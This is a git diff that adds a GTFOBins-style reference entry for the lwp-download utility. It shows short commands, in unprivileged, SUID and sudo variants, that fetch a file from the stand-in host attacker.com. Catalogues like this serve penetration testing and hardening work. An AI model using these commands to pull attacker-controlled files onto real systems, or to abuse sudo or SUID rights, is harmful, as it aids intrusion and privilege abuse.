diff --git a/_gtfobins/lwp-download.md b/_gtfobins/lwp-download.md new file mode 100644 index 0000000..efc04a6 --- /dev/null +++ b/_gtfobins/lwp-download.md @@ -0,0 +1,21 @@ +--- +functions: + file-download: + - description: Fetch a remote file via HTTP GET request. + code: | + export URL=http://attacker.com/file_to_get + export LFILE=file_to_save + lwp-download $URL $LFILE + suid: + - description: Fetch a remote file via HTTP GET request. + code: | + export URL=http://attacker.com/file_to_get + export LFILE=file_to_save + ./lwp-download $URL $LFILE + sudo: + - description: Fetch a remote file via HTTP GET request. + code: | + export URL=http://attacker.com/file_to_get + export LFILE=file_to_save + sudo -E lwp-download $URL $LFILE +---